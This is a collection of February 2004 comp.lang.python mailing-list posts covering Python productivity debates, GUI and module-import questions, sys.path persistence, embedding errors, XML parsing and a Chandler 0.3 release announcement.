Date: Tue, 17 Feb 2004 08:00:28 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <xqxptce16g3.fsf@cola2.ca.boeing.com>

Matthias <no at spam.pls> writes:

[snip]
> I can see that it's hard to get company funding for such research.
> But then: Software is a multi-billion dollar business, languages are a
> really fundamental tool for it (if you get a 5% increase in
> productivity by adding/removing a feature X from language Y this can
> be huge savings overall).  Yet nobody seems to be bothered that the
> evolution of computer languages goes like: Somebody has a cute idea,
> builds a language around it, tries to hype it, maybe attracts
> followers, maybe creates a market which then attracts more followers.
> It's all trial and error, like medicine in the middle ages.
> 
> A more scientific approach would be: Take a language X, build variants
> X-with-OOP, X-with-static-typing, X-with-funny-syntax and let
> developers use it under controlled settings.  Watch them.  Generate
> bug statistics.  Look for differences.  Try to explain them.  This
> would be hard work, difficult to do and expensive.  But I expect this
> approach would find better [1] languages faster.  The benefits might
> be substantial.
> 
> Matthias
> 
> ---
> [1] At least better w.r.t. certain application domains and certain
> types of developers.

The scientific approach requires usefully discriminatory hypotheses.
Language design is so art-ful that arbitrarily building languages as
you describe does not meet that criterion.

Here is another way to look at it.

Normally a science passes through phases:

a) Natural History.  Wander around, get the lay of the land,
collect specimens, and try to organize what you find into mnemonically
effective schemes.

b) Field Research.  Pose a hypothesis, isolate a piece of the field as
best you can, and apply your experimental factors and controls.
Observe results and interpret with a large grain of salt.

c) Lab Research. Set up isolated envieonments with significant
attention to eliminating non-experimental reasons for variation.  Pose
the hypotheses.  Observe results, and interpret with recognition that
a lab may be a poor model for reality.

You are asking that we jump to lab research when the field barely
sustains field research.  Mostly we are still in natural history and
anecdotes.  

Of course, even in the natural history phase pioneers and advance
scouts are capable of detecting an easier pass through the mountains
of comlexity.  If 20 people from varied background, each of whom has
worked in several languages, tell me that Python is a really great
language, then I'll take that as a significant data point.  Especially
if they are dumping their previously favorite languages (as varied as
COBOL, Perl, Java, C++, VB, Modula-3, Lisp, Prolog) to focus on
Python.


-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From peter at engcorp.com  Mon Feb 16 09:10:30 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 16 Feb 2004 09:10:30 -0500
Subject: Reading from file up to arbitrary byte.
References: <402d4d14$0$10336$ed9e5944@reading.news.pipex.net>
	<402D4F4C.BCCD07F8@engcorp.com>
	<402d6d21$0$10343$ed9e5944@reading.news.pipex.net>
Message-ID: <4030CF56.E27342BA@engcorp.com>

"David M. Wilson" wrote:
> 
> I failed to produce something that is clean, but it does exactly what it
> says on the tin and that's all I need. If you care for a nosey:
> 
>         http://botanicus.net/dw/IDTDR.py.txt

This gives a "file not found" error.


From dek at compbio.berkeley.edu  Mon Feb  2 18:44:26 2004
From: dek at compbio.berkeley.edu (David Konerding)
Date: Mon, 2 Feb 2004 23:44:26 +0000 (UTC)
Subject: Produce anti-noise
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>
	<bvmlik$kam$06$1@news.t-online.com>
Message-ID: <slrnc1to6u.5bm.dek@pink.Berkeley.EDU>

In article <bvmlik$kam$06$1 at news.t-online.com>, Diez B. Roggisch wrote:
>> I want to know if the is a way to do something in python to produce
>> some anti-noise (i.e. I talk in the microphone and the sound go out by
>> the speakers but with inversed phase).
>> 
>> So I want to know how to control the microphone and to add some sort
>> of effect to the sound that enter in and to put it out with that
>> effect and all this at the same time.
> 
> AFAIK such things need vast amounts of computational power for very
> complicated algorithms and very low latencies - a job for specialised DSP
> code. Its much more complicated than inverting the amplitude (I don't think
> that inverting the phase is possible - AFAIK you can only shift it, and
> thats not what you want here...)
> 
> So I seriously doubt that you can do that with python - I even doubt that
> you can do it with you computer. Not so much from the raw computational
> power side of the thing, but much more from your audio-equipment.
> Professional noise reduction systems costs several thousands of euro and
> feature lots of speakers, especially designed, chosen and arranged to
> reflect the acoustic envrionment of _one_ room, e.g. the inside of a
> certain car. Then specially adapted algorithms come into play.

Hmm.  You can buy a $200 set of bose headphones that do it with a simple chip and low power.
I think a regular PC could do this (so long as you know the equations) by brute force.  You'd probably want to 
use signal processing libraries rather than pure Python, though.



From stewart at midtoad.homelinux.org  Mon Feb 23 01:54:10 2004
From: stewart at midtoad.homelinux.org (stewart)
Date: Mon, 23 Feb 2004 06:54:10 GMT
Subject: Pmw optionMenu dynamic contents display?
Message-ID: <msh_b.594134$X%5.318160@pd7tw2no>

I'm writing an app that requires a 3-level optionMenu display.  Basically
I'm showing the contents of a 3-dimensional matrix.  You choose the first
level in the first optionMenu, the 2nd level in the next level, and the 3rd
level in the last optionMenu.  Let's call them Continent,country,state.

continentList = ['N.America', 'S. America', 'Europe', 'Asia', Africa',
'Australia', 'Antarctica']
countryList = [['Canada', 'USA', 'Mexico'],['Argentina','Chile', ..],[other
continents' countries... ]]
stateList = [[['BC','Alberta', ...
'Newfoundland'],['California','Oregon',...'Maine'],['Guadalajara',...]],[[other
continents' countries' states]]

When I open the window, all is well. I can display the following as default
selections:
[ N. America ]
[  Canada    ]
[   B.C.     ]

Making a selection of a continent, country or state invokes a _getSelection
method that displays the 3 choices. So far so good.

Also, if I change the continent selection, then I get a different default
country in the 2nd optionMenu.  But, this is where is goes wrong.  I can't
get the list of countries to be updated in the 2nd optionMenu, nor the list
of states to be updated in the state list.  How would I do this?

I've tried to include some code at the end of the _getSelection method but
it isn't working. Does anyone has any similar code that they can share?

global continentItems, countryItems, stateItems

def _getSelection(self, choice):
        print 'you have chosen %s %s %s' % \
        (self.var1.get(),
         self.var2.get(),
         self.var3.get() )
        # above code correctly prints the selected choices from all 3 levels
        # next part of code tries to re-draw country list based on 
        # continent selection, but it doesn't work.
        # next line successfully gets list index of chosen continent
        i2 = indexContinents(self.var1.get()
        # first item in countryList is name of associated continent
        self.var2.set(countryList[i2][0])
        # next line correctly contains list of countries for selected continent
        countryItems = countryList[i2]
        # next line croaks: trying to change the 'items' option for optionMenu
        # by directly addressing its 'items' parameter: no good
        self.method2_menu.config(items = countryItems)

stuck here!



From jonas at jonasgalvez.com  Tue Feb 17 02:28:21 2004
From: jonas at jonasgalvez.com (Jonas Galvez)
Date: Tue, 17 Feb 2004 04:28:21 -0300
Subject: Interactive interpreter problem
Message-ID: <c0sgdh$352$1@sea.gmane.org>

Hi, I just upgraded to Python 2.3.3, and I'm getting this:
http://www.jonasgalvez.com/unsorted/weirdo.png

Win2k, brazilian portuguese, latest Apache and mod_python. I believe
it must a line ending parsing problem... It's really strange, 2.3.2
used to run smoothly. Also, I'm able to run the interactive
interpreter from inside IDLE. Can anyone help me?


=-
Jonas Galvez
jonasgalvez.com/blog
macromedia.com/go/team







From rmunn at pobox.com  Thu Feb 19 12:22:06 2004
From: rmunn at pobox.com (Robin Munn)
Date: Thu, 19 Feb 2004 17:22:06 GMT
Subject: How do make a function that creates a sequence of
	nrandomnumbers?
References: <mailman.38.1077148009.27104.python-list@python.org>
	<403425F1.28A2E1F7@engcorp.com>
Message-ID: <2h6Zb.11279$PY.7045@newssvr26.news.prodigy.com>

Peter Hansen <peter at engcorp.com> wrote:
> Tony Meyer wrote:
>> 
>> > > Thanks, everyone. Also, I'd really like to know how to remove the
>> > > lowest number from the sequence.
>> > Now this really sounds like homework.
>> 
>> OT, but if you were a teacher assigning homework like this, wouldn't you
>> read c.l.p to see which of your students asked the homework questions?  (Or
>> at the least, google through the list when the homework is handed in?)
>
> Given that most people, and almost always those posting questions about
> homework or how-to-write-spamsoft, either use fake email addresses, or 
> hide behind cute "handles" and generic web-mail accounts, there's little chance
> that a professor will actually be able to match the request with an
> actual student, I would think.

Oh, I can think of one way: make another fake E-mail address (or a rea
but pseudonymous Hotmail account) and answer the student's request on
Usenet, giving a full and complete solution that happens to be
deliberately wrong. Then see if the student even bothers to test the
answer they copy and paste.

-- 
Robin Munn
rmunn at pobox.com


From twl at osafoundation.org  Thu Feb 26 18:20:00 2004
From: twl at osafoundation.org (Ted Leung)
Date: Thu, 26 Feb 2004 15:20:00 -0800
Subject: OSAF Announces the Release of Chandler 0.3
Message-ID: <4C563862-68B2-11D8-893E-000A959A114E@osafoundation.org>

We are pleased to announce Chandler 0.3!  Our architecture is finally  
stable enough to start developing end-user features.

Release 0.3 targets developers who want an early preview into our  
architecture as we are developing it. With this release we now can  
begin to encourage open source developers to work with the OSAF core  
development team, as in the upcoming PyCon Sprint. (See details below.)

===================================
New in Release 0.3
===================================
The two biggest architecture advancements in this release are the  
Repository and the Chandler Presentation and Interaction Architecture  
(CPIA). In 0.3, our Repository is much more robust and scalable, and  
now implements a transaction and threading model. This release also  
marks the debut of CPIA, which is a UI layer in our architecture that  
is uniquely adapted for item-centric applications based on our  
Repository. Not only does it abstract away implementation-specific UI  
widgets, but CPIA elements have direct access to our Repository via  
data-driven queries.

You can find out more about the 0.3 release at:
http://wiki.osafoundation.org/twiki/bin/view/Chandler/ 
ChandlerZeroPointThreeReadme

You can download the 0.3 release for Linux, MacOS, and Windows from:
http://downloads.osafoundation.org/chandler/releases/0.3/

===================================
OSAF events at PyCon 2004
===================================
PyCon 2004, March 24-26, 2004 in Washington, D.C., is a  
community-oriented conference targeting developers (both those using  
Python and those working on the Python project). It provides  
opportunities to learn about significant advances in the Python  
development community, to participate in a programming sprint with some  
of the leading minds in the Open Source community, and to meet fellow  
developers from around the world. The organizers work to make the  
conference affordable and accessible to all. The Chandler PyCon Sprint  
is free and does not require registration for the conference.

Mitch Kapor to give keynote address
-------------------------------------------------------------
Mitch, founder of the Open Source Application Foundation, will be the  
keynote speaker for the conference.

Chandler Sprint
-------------------------------------------------------------
OSAF will be running a Sprint from Mar 20-23 prior to the PyCon 2004  
conference. The topics for the sprint will focus on the Chandler  
repository. At the moment, these include repository dump/restore  
functionality, and remote repository sharing using WebDAV.

Andi Vajda and Ted Leung will the coaches for the sprints, and will be  
doing brief tutorials for people unfamiliar with the Chandler  
repository. We want to use the sprint to involve more people in the  
Chandler development process as well as accomplish some tasks that will  
be useful for Chandler.

If you are interested in participating in the sprint, please add  
yourself to the ChandlerSprint page:
http://www.python.org/cgi-bin/moinmoin/ChandlerSprint

What is a Sprint?
-------------------------------------------------------------
The sprint is a four day focused development session, in which  
developers pair in a room and focus on building a particular subsystem.  
A sprint is organized with a coach leading the session. The coach sets  
the agenda, tracks activities, and keeps the development moving. The  
developers work in pairs using extreme programming's pair programming  
approach.

And a BOF too!
-------------------------------------------------------------
In addition, we plan to have an OSAF 'Birds Of a Feather' gathering  
during PyCon itself to answer questions about Chandler and socialize  
with Python developers.




From martin at v.loewis.de  Fri Feb  6 02:00:44 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 06 Feb 2004 08:00:44 +0100
Subject: like mod_python but in the kernel????
In-Reply-To: <mailman.1243.1075996089.12720.python-list@python.org>
References: <mailman.1243.1075996089.12720.python-list@python.org>
Message-ID: <bvve2l$vp2$06$1@news.t-online.com>

Camilo Olarte wrote:
> If python cgi scripts can be acceletaded by means of mod_python in apache
> (loading the python interpreter on apache)  , then : ?Is there a way of doing
> the same but with linux kernel...  and command line scripts ?

No. mod_python reduces startup speed because it performs all the import
actions that occur when Python starts. The same is not possible with the
command line, as memory that the kernel allocates is not accessible to
applications.

> I mean can python interpreter be loaded as module of the kernel and thus making
> execution of python scripts faster ???

No !!! Instead, to reduce startup time, you need to first find out why
startup is slow. There are many theories; mine is that usage of shared
libraries for extension module increases startup time.

> Is there something perverse in this way of thinking????

No!!!! Just in your usage of punctuation :-)

Regards,
Martin



From skip at pobox.com  Sat Feb  7 07:37:09 2004
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 7 Feb 2004 06:37:09 -0600
Subject: Print function and spaces
In-Reply-To: <c01q0g$p7q$1@news.service.uci.edu>
References: <mailman.1321.1076116070.12720.python-list@python.org>
	<c01q0g$p7q$1@news.service.uci.edu>
Message-ID: <16420.56309.459023.389200@montanaro.dyndns.org>


    Josiah> I could have sworn there was a function to disable/enable
    Josiah> placing spaces between objects printed using the print
    Josiah> statement.  I've looked all over, but I couldn't find it, so
    Josiah> apparently it doesn't exist.

I think file().softspace is what you're looking for.

Skip



From dwelch91.nospam at comcast.net  Sun Feb  8 13:08:57 2004
From: dwelch91.nospam at comcast.net (djw)
Date: Sun, 08 Feb 2004 18:08:57 GMT
Subject: Had Phyton suggested
In-Reply-To: <c05k7b$ndl$1@news.freedom2surf.net>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<c05k7b$ndl$1@news.freedom2surf.net>
Message-ID: <ZWuVb.246007$I06.2735974@attbi_s01>

Steve Horsley wrote:

> P.C. wrote:
> 
>> Hi
>>
>> My son like many youngsters been around computers, fast online games, he
>> acturly for main part learned to read and write ,beside his second 
>> language
>> english , and may I say he is quite good at it age 15 ,  but as some 
>> of you
>> know, 3D games also offer edditors and script options , or rather
>> programming choppers and dust clouds in scenes.
>> Now beside my bad english, my problem is, that I like him to learn decent
>> programming ------- sure I know the best way to learn is looking at 
>> source
>> code and change a bit here or there to se the actural results, but 
>> with his
>> knowleage about programming he proberly fail to se how functions work and
>> even he made some quite nice effects in the scenes in "Operation 
>> falshpoint
>> resistance" , I just know that he would profit from learning from 
>> buttom up,
>> a real programming language.
>> Now from an old friend I been advised Phyton, and as I know a bit about
>> programming ( Lisp ) , I agrea after checking a few links ; guess 
>> Phyton is
>> very much C++ like ,so investing in his interests programming scenes for
>> games, could be in his faviour .
>> Now I agrea that my own knowleage about compilers and more advanced
>> programming are limited, and my fear is that I will need some sort of C.
>> compiler causing day's and weeks of trouble setting up ------- or what do
>> the group think ; my question is, if there today are compilers that is 
>> set
>> up and work as simple as for instance the first Pascal compilers .
>> Well I agrea that my own trouble programming, never been the actural
>> programming, but all the silli trouble with compilers, as you se amatures
>> don't care if the program spend a bit more memmory ,as long as it work 
>> and
>> acturly produce compiled code.
>> Guess my question is, if it is possible to find a compiler that is fit 
>> for
>> amatures, one that an amature will not have to fight before it is 
>> ready to
>> use. One where you ,as when I learned programming , don't need to be a
>> compiler specialist before you even learn programming.
>>
>> P.C.
>>
>>
> Python is an interpreted language, not a compiled one. So you don't need 
> to worry about compilers at all. This makes it a little easier to get 
> into than compiled languages. I thin python is a very good introduction 
> to someone who knows nothing about programming.
> 
> At the risk of making a lot of python fans angry, I would also suggest 
> that you look at java. This IS a compiled language (although ironically, 
> the compiled bytecode is interpreted). I suggest this for a few reasons:
> * You cannot really avoid thinking in an object-oriented way when 
> writing java. I suspect that python will allow you to develop some very 
> nasyt habits.
> * The java tutorial is massive, and has loads of examples.
> * I have not seen anything like BlueJ for python. BlueJ is an excellent 
> beginners IDE with editor, debugger, and a UML-like diagram that shows 
> how your classes interconnect.
> 
> Better, learn a little of both languages.
> 
> Steve

Angry, no. But I don't think your advice is very sound. First, Python 
"compiles" to bytecodes much the way Java does. If Java does anything 
different, it is that it can employ a JIT compiler to speed up the 
execution of the bytecodes. Second, I disagree that Python will make 
someone develop "bad habits". Using object oriented programming is not 
the end-all to all the world's problems. Java forces you into this model 
at all times, Python doesn't. If anything, I think Java's view of the 
world is flawed - sometimes objects aren't the answer to a programming 
problem. For a beginner, having to do all your thinking in objects makes 
learning the basics harder, in my view. Last, there are plenty of good 
(if not great) editors for Python. Pushing an editor that includes 
things as UML is not really very productive for a beginner, and it could 
be argued it not even very useful for advanced programmers (if your 
class hierarchy is s complex that you need (live) UML, you probably have 
too complex of a design.) I do agree with your last sentiment, learn 
lots of languages, Python, Java, C/C++, etc. and see which one(s) meets 
your needs best.

-D



From noemail at noemail4u.com  Wed Feb  4 08:26:22 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Wed, 04 Feb 2004 13:26:22 GMT
Subject: Modules, namespaces, parents, and import
References: <mailman.1185.1075876154.12720.python-list@python.org>
Message-ID: <cb8d73e66e9c7ffcd311f7b4890ebb16@news.teranews.com>

On Wed, 4 Feb 2004 06:28:38 -0000, "Dan Williams" <dan at ithium.net>
wrote:

>My question is thus: how do I reference a parent module and its children?
...
>Finally, if you can see any obvious flaws with the way I am thinking about
>modules, please point them out to me. I'm used to C++ headers and externs,
>and PHP includes, but Python modules and packages are now to me. That said,
>the basic theory seems straightforward and so long as I can reference
>parents, I like the namespace implementation.

The flaw in your thinking is the thought that there is a parent
module.  When you have multiple C/C++ files, they are not
parent/child.  They are simply separate, perhaps sharing common
headers.  Just as in C++, one module doesn't know what other module
(or modules!) has included it.

To have a called method reference variables declared in its caller's
namespace, pass parameters instead:

------------------
# modulea
import moduleb
a = 5
moduleb.DoStuff(a)
------------------
# moduleb
import sys
def DoStuff(x):
    print x
    sys.exit(0)
------------------

The import statement is not at all like the C/C++ #include
preprocessor directive.  I'm not familiar with C++ namespaces (I
dropped out of C++ before they were added to the language), and can't
say if/how the Python import statement compares with them.

If you're looking for a way to avoid passing parameters, you can
create a third module that is used to hold your shared/global
variables:

-------------
# moda
import modb, modc

modc.variable = 27
modb.DoStuff()
-------------
# modb
import modc

def DoStuff():
    print modc.variable
-------------
# modc

variable = 0
-------------

I'm not recommending this, just mentioning it as a possibility.

    --dang


From jmdeschamps at cvm.qc.ca  Tue Feb 17 16:41:12 2004
From: jmdeschamps at cvm.qc.ca (jmdeschamps)
Date: 17 Feb 2004 13:41:12 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
	<40323814.3129EA4B@engcorp.com>
Message-ID: <3d06fae9.0402171341.738cd274@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<40323814.3129EA4B at engcorp.com>...
> Harry George wrote in a thought-provoking post:
> > 
> > Of course, even in the natural history phase pioneers and advance
> > scouts are capable of detecting an easier pass through the mountains
> > of comlexity.  If 20 people from varied background, each of whom has
> > worked in several languages, tell me that Python is a really great
> > language, then I'll take that as a significant data point.  Especially
> > if they are dumping their previously favorite languages (as varied as
> > COBOL, Perl, Java, C++, VB, Modula-3, Lisp, Prolog) to focus on
> > Python.
> 
> My background is (roughly in order) APL, FORTRAN, BASIC, Assembly, C, 
> university :-), Pascal, C++, Object Pascal, Java, LabVIEW, and Python 
> (with a dozen others I forget) and I'm telling you Python is a really
> great language.  I've also dumped my previously favourite languages
> (to wit, BASIC, C, C++, Delphi, and Java) to focus on Python.
> 
> Now all you need are 19 others and we'll have a significant data point.
> (Signifying what?  That's what I want to know. ;-)
> 
> -Peter

Well here goes! I started in Prolog (coming from formal logic it was a
breeze), done Pascal, some Forth (not much), a little Smalltalk, C,
C++, Java, Javascript, HyperTalk/Supertalk,(+ otherTalks ) - VB, VBA,
AppleScript, started doing Perl (for CGI) then read about doing this
stuff in Python instead! Ported my research work from Java to Python
and never looked back (but sure you can always use another language:-)
Wow, never had so much fun since Working with Cratfman on NeXT! Thanks
GvR!

Jean-Marc
ps That's 2, 18 to go!


From guettli at thomas-guettler.de  Thu Feb 12 07:30:00 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Thu, 12 Feb 2004 13:30:00 +0100
Subject: Python GUI Code -- Best Practice
References: <73wu6t5o5t.fsf@random-node.example.org>
Message-ID: <pan.2004.02.12.12.30.00.192030@thomas-guettler.de>

Am Wed, 11 Feb 2004 20:58:22 +0000 schrieb Chris Stiles:

> 
> Hi --
> 
> I'm looking to write some WxPython based applications, and am looking for
> existing applications of moderate complexity in order to read code and gain an
> understanding of how these things are structured.
> 
> Tutorials aren't really useful - i've done most of them, and am looking to
> gain more of a 'gesalt' sense of how such programs are structured for real
> purposes. 

Hi,

WxPython has a demo which uses most widgets.

 thomas


From ajsiegel at optonline.com  Wed Feb 25 12:11:55 2004
From: ajsiegel at optonline.com (Arthur)
Date: Wed, 25 Feb 2004 17:11:55 GMT
Subject: No Thoughts about Everything
References: <403CC4FB.7040204@compuserve.de>
	<mailman.107.1077724553.8594.python-list@python.org>
Message-ID: <30lp30lukdq945km2dj83dhican7ege0i1@4ax.com>

On Wed, 25 Feb 2004 08:55:45 -0700, "Dave Brueck"
<dave at pythonapocrypha.com> wrote:

>class Foo:
>  BAR = 10
>
>Voila! BAR is now a "class constant" - shared among all instances of the class
>Foo (in theory it's not a constant, but in practice it is :) ).
>
>HTH,
>Dave
>

But not 'final'. 
 I am only anticipating a response.

IMO - if I am understanidng the issues correctly - it is a perfectly
adequate solution.  Simple to get across to beginners..

The issue of making the constant 'final' is a production programming
issue.  And whether Python does or does not need it is not an issue
relative to teaching beginners.  The fact that production programming
concerns are introduced  at that stage of the game is, I think, where
many who would otherwise have an intellectual intererst in programming
fall of the wagon.  Wanting to understand programming and wanting to
be a production programmer can be very different things.

I know not to change "PI" into something PI isn't. No one needs to
explain that to me. Adding that I couldn't even if I wanted to -
that's nice.

Though, as Dennis Miller likes to sign-off:

I could be wrong.

Art



  


From ketulp_baroda at yahoo.com  Wed Feb 25 01:37:22 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 24 Feb 2004 22:37:22 -0800
Subject: problem in appending a path to sys.path
Message-ID: <f046efac.0402242237.3734ee75@posting.google.com>

Hi
I am having a problem in appending to sys.path
I am doing it this way:
>>> sys.path
['D:\\PYTHON23', 'D:\\PYTHON23\\Lib\\idlelib',
'D:\\WINNT\\system32\\python23.zip',
'D:\\PYTHON23\\lib\\site-packages\\Pythonwin',
'D:\\PYTHON23\\lib\\site-packages\\win32',
'D:\\PYTHON23\\lib\\site-packages\\win32\\lib',
'D:\\PYTHON23\\lib\\site-packages', 'D:\\Python23\\DLLs',
'D:\\Python23\\lib', 'D:\\Python23\\lib\\plat-win',
'D:\\Python23\\lib\\lib-tk', 'D:\\Python23']
>>> sys.path.append(r'D:\Python23\Lib\site-packages\code')
>>> sys.path
['D:\\PYTHON23', 'D:\\PYTHON23\\Lib\\idlelib',
'D:\\WINNT\\system32\\python23.zip',
'D:\\PYTHON23\\lib\\site-packages\\Pythonwin',
'D:\\PYTHON23\\lib\\site-packages\\win32',
'D:\\PYTHON23\\lib\\site-packages\\win32\\lib',
'D:\\PYTHON23\\lib\\site-packages', 'D:\\Python23\\DLLs',
'D:\\Python23\\lib', 'D:\\Python23\\lib\\plat-win',
'D:\\Python23\\lib\\lib-tk', 'D:\\Python23',
'D:\\Python23\\Lib\\site-packages\\code']

But when I close the shell and now again open it & do sys.path , it
doesnt show the path I last appended. i.e

>>> import sys
>>> sys.path
['D:\\PYTHON23', 'D:\\PYTHON23\\Lib\\idlelib',
'D:\\WINNT\\system32\\python23.zip',
'D:\\PYTHON23\\lib\\site-packages\\Pythonwin',
'D:\\PYTHON23\\lib\\site-packages\\win32',
'D:\\PYTHON23\\lib\\site-packages\\win32\\lib',
'D:\\PYTHON23\\lib\\site-packages', 'D:\\Python23\\DLLs',
'D:\\Python23\\lib', 'D:\\Python23\\lib\\plat-win',
'D:\\Python23\\lib\\lib-tk', 'D:\\Python23']

What am I doing wrong here??


From brian at sweetapp.com  Fri Feb 13 15:45:28 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Fri, 13 Feb 2004 12:45:28 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <402D2D90.2050201@prescod.net>
Message-ID: <00e301c3f272$50a41530$0000fea9@dell8200>

> So other programming languages make non-ASCII characters possible but
> English-speakers do not end up paying any price. So what's the problem?

If we ever need to read any Python code that uses non-ASCII characters then
we pay a price.

> Panic in the Python world strikes me as just FUD.

I'm not panicking; I'm just arguing that expending considerable effort to
add a feature that may cause problems might not be a good idea. I don't have
a very strong opinion on this issue.
 
> We are getting a little off track. Nobody really proposed to borrow C#'s
> identifier syntax whole hog (i.e have a keyword-escaping mechanism). I
> proposed to learn from C# and Java. They allow non-ASCII keywords and
> nobody seems to be hurt by it.

Did you mean to say that they "allow non-ASCII keywords"? Assuming you meant
identifiers, I don't find that argument convincing because the lack of
widespread problems might be related to the lack of widespread usage.

> As far as "reasonable usage" of non-English identifiers. Non-English
> speakers tell me that this is reasonable and I trust them to understand
> their situation better than I do!

This is a more convincing argument.
 
> But as an aside, the idea of allowing keywords to also be identifiers
> (with appropriate escaping syntax) is not a bad ones.

But it isn't really necessary in Python since defining/calling a method
using a string is trivial. In C# it is a lot of work.

> Let's say you are calling an XML-RPC server that uses a method name that
> happens to also be a Python keyword (e.g. "yield"). Of course your
> XML-RPC API could have a specific way of working around this but knowing
> the way the Python world works, it will use a different convention than
> your COM API which will use a different convention than your SOAP API
> which will use a different convention than your PyObjectiveC API, etc.
> Why not have the language standardize?

I'm not sure that the API necessarily needs to know anything about this
problem. The API user just has to use the usual Python mechanisms to
work-around the issue e.g.

someComObject.getattr('yield')(2,3)
someRPCServer.getattr('yield')(2,3)

class myComObject:
    def _yield(self, x, y):

setattr(myComObject, "yield", myComObject._yield)

Cheers,
Brian




From anand at easi.soft.net  Tue Feb 10 09:58:06 2004
From: anand at easi.soft.net (Anand K Rayudu)
Date: Tue, 10 Feb 2004 20:28:06 +0530
Subject: C Embedding problem, ImportError
Message-ID: <4028F17E.201@easi.soft.net>

  hi Tero,

I also faced similar kind of problem on HP & IBM workstations.
This is how i solved.

run python outside & do following.
It gives out the link options required for that platform, just 
re-compile your application with those options.

more information you can find out in python documentation chapter 


  5.6 Linking Requirements

in my downloaded documentation it is at ~/python-docs-2.3/ext/link-reqs.html

>>> import distutils.sysconfig
>>> distutils.sysconfig.get_config_var('LINKFORSHARED')
'-Xlinker -export-dynamic'

Hope this helps!! :-)

Anand



Tero Pihlajakoski wrote:

>I'm trying to run some python scripts from a proggy of mine. Most of the
>time it works great, but I seem to be having problems with some
>modules. Here's what I get when I try importing math (applies to all
>.../lib-dynload/ modules, I guess):
>
>ImportError: /usr/lib/python2.3/lib-dynload/math.so: undefined
>symbol: PyExc_OverflowError
>
>Executing the same script from command-line works ok. What gives?
>I'm using python 2.3.2, and the file using the python/c is compiled
>invoking: 
>
>gcc -o libabc.lib -shared -fpic lpython2.3 -lm abc.c
>
>Thanks,
> 
>- Tero
>
>  
>
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From wsr2 at swbell.net  Wed Feb 11 09:04:47 2004
From: wsr2 at swbell.net (Bill Rubenstein)
Date: Wed, 11 Feb 2004 14:04:47 GMT
Subject: xml getElementsByTagName w/o recursion?
References: <ab4c5633.0402110336.4d786ff6@posting.google.com>
Message-ID: <MPG.1a93f2978ad48b75989711@news.kc.sbcglobal.net>

In article <ab4c5633.0402110336.4d786ff6 at posting.google.com>, sdahlbac at abo.fi 
says...
> Hello,
> 
> this is perhaps not directly a python question, but how do I get a
> direct child element without going down the tree and possibly find
> another element with the same name there?
> 
> 
> <foo>
>  <bar>
>   <name>This is the interesting part</name>
>   <baz>
>    <something>...</something>
>    <name>this is what I DO NOT want</nameA
>   </baz>
>  </bar>
> </foo>
> 
> I am using xml.dom.minidom and I was thinking along the line of
> 
> ...
> fooNode.childNodes.getNamedNode("name")
> ...
> but that doesn't work..
> 
> is the only solution to write an own helper function that iterates the
> child nodes and get the correct one?
> 
> /Simon
> 
You need to loop through the children of the node and build a list of the nodes 
of interest.

Bill R


From newsgroups at jhrothjr.com  Wed Feb 25 20:18:47 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Wed, 25 Feb 2004 20:18:47 -0500
Subject: Newbie lost(new info)
References: <mailman.113.1077727206.8594.python-list@python.org><403ce031$0$12853$3a628fcd@reader1.nntp.hccnet.nl>
	<mailman.132.1077738332.8594.python-list@python.org>
	<103q9kkjbru46bb@news.supernews.com>
	<403d3b33$0$11500$3a628fcd@reader2.nntp.hccnet.nl>
Message-ID: <103qid3gv1s2q47@news.supernews.com>


"Anton Vredegoor" <anton at vredegoor.doge.nl> wrote in message
news:403d3b33$0$11500$3a628fcd at reader2.nntp.hccnet.nl...
> "John Roth" <newsgroups at jhrothjr.com> wrote:
>
> >For the rest of it, I'd like to see a *real* hex dump in mainframe
> >format. From what you've given us so far I'm not certain whether
> >the struct module can convert the data for you.
>
> Probably what John wants to see is the output of something like this:
>
> #one 'line' of data (since it's a binary file there is no real line
> #ending convention: a line is just a specific number of bytes long,
> #it's important to find out how many exactly)
>
> from binascii import hexlify
> inf = file('somefile','rb')
> data = inf.read(1005) #a 113 bytes string + 232 4 bytes floats
> L = map(hexlify,data)
> print L
>
> Anton

Thank you! I wasn't aware of that module. It looks like it
should do exactly what's needed.

Although this would probably do instead of the last 2 lines
(and excuse the fact that it's real ugly code, as well as
untested)

for i in range(4):
    index = i * 32
    print hexlify(data[index: index+32])
for i in range(232):
    index = i * 4 + 113
    print hexlify(data[index: index + 4])

John Roth
>
>




From teengo at yahoo.com  Fri Feb 13 22:55:08 2004
From: teengo at yahoo.com (Ticachua)
Date: 13 Feb 2004 19:55:08 -0800
Subject: Any embedding guru out there?
Message-ID: <ae453155.0402131955.1f199b6c@posting.google.com>

Hi,

I'm working with an embedded Python C++ application. This application
allows me to run python scripts alright. However, one of my scripts
requires importing extension modules such as socket. The script bombed
when I tried to run it. It turned out that this application only runs
Python scripts that use Pythoncore modules only.

Unfortunately I do not have access to the source code of this
application
at this point. In desparate attempt, I rebuilt the _socket.pyd and
placed it
in the path where the python.dll (pythoncore library) of this tool
resided.
Well, the script bombed again. However through the debugger's trace I 
found something interesting.

1. C:\AutoScript\python.dll was loaded  <--- embedded in app
2. D:\python\DLLs\_socket.pyd was loaded <---- came with Python I
installed on
                                                    my machine
